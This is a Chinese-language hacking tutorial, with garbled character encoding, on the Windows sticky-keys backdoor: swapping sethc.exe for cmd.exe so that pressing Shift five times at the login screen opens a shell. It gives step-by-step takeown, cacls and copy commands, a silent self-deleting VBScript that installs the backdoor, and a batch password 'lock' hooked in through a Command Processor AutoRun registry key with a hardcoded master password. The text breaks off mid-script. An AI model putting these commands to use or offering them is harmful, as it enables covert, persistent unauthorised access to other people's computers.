什么是粘滯鍵?
當(dāng)你在Windows操作系統(tǒng)里面連續(xù)按下5次Shift鍵之后,你看看出來了什么?
在windows 2000/xp/Vista下,按shift鍵5次,可以打開粘置,會運行sethc.exe,而且,在登錄界面里也可以打開。這就讓人聯(lián)想到WINDOWS的屏保,將程序替換成cmd.exe后,就可以打開shell了。
一、具體的替換方法:
XP系統(tǒng): 將安裝源光盤彈出(或?qū)⒂脖P上的安裝目錄改名) cd %widnir%\system32\dllcache ren sethc.exe *.ex~ cd %widnir%\system32 copy /y cmd.exe sethc.exe
Vista系統(tǒng): takeown /f c:\windows\system32\sethc.exe cacls c:\windows\system32\sethc.exe /G administrator:F Vista之家(www.vista123.com)備注:上兩步為獲得權(quán)限的命令,你也可以通過Vista優(yōu)化大師獲得右鍵菜單的提升權(quán)限的功能,然后在sethc.exe文件上面右鍵直接提升權(quán)限。 然后按XP方法替換文件
在登錄界面按5此SHIFT,出來cmd shell,然后……
二、后門擴(kuò)展:
Dim obj, success Set obj = CreateObject("WScript.Shell") success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True) success = obj.run("cmd /c echo y cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True) success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True) success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True) success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True) success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
第二句最有意思了.嘿嘿..自動應(yīng)答....以前就遇到過類似的問題
再更新,加個自刪除、簡化代碼: On Error Resume Next Dim obj, success Set obj = CreateObject("WScript.Shell") success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exedel %SystemRoot%\system32\sethc.exeren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True) CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
三、后門鎖擴(kuò)展:
allyesno注:可以采用cmd 鎖 來進(jìn)行cmdshell的密碼驗證 嘿嘿。。。
用下面的后門鎖的方法是 把代碼保存為bdlock.bat
然后修改注冊表位置即可
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor] "AutoRun"="bdlock.bat"
@Echo Off title 后門登陸驗證 color a cls set temprandom=%RANDOM% echo 請輸入驗證碼:%temprandom% set/p check= if "%check%"=="%temprandom%%temprandom%" goto passcheck if "%check%"=="%temprandom%" ( rem 后門服務(wù)器驗證 rem 如果沒有后門驗證服務(wù)器請rem注釋掉下一行代碼 if exist \192.168.8.8\backdoor$\pass goto passcheck ) echo 驗證失敗 pause exit :passcheck echo 驗證成功 If "%passcmdlock%"==http://www.6655.com/ Goto endx Set passcmdlock=http://www.6655.com/ :allyesno Set Errorlevel=>nul Echo 請輸入驗證密碼? Set password=allyesno Is a pig>nul Set/p password= rem 萬能密碼 if "%password%"=="allyesno is a sb" goto endx If %time:~1,1%==0 Set timechange=a If %time:~1,1%==1 Set timechange=b If %time:~1,1%==2 Set timechange=c If %time:~1,1%==3 Set timechange=d If %time:~1,1%==4 Set timechange=e |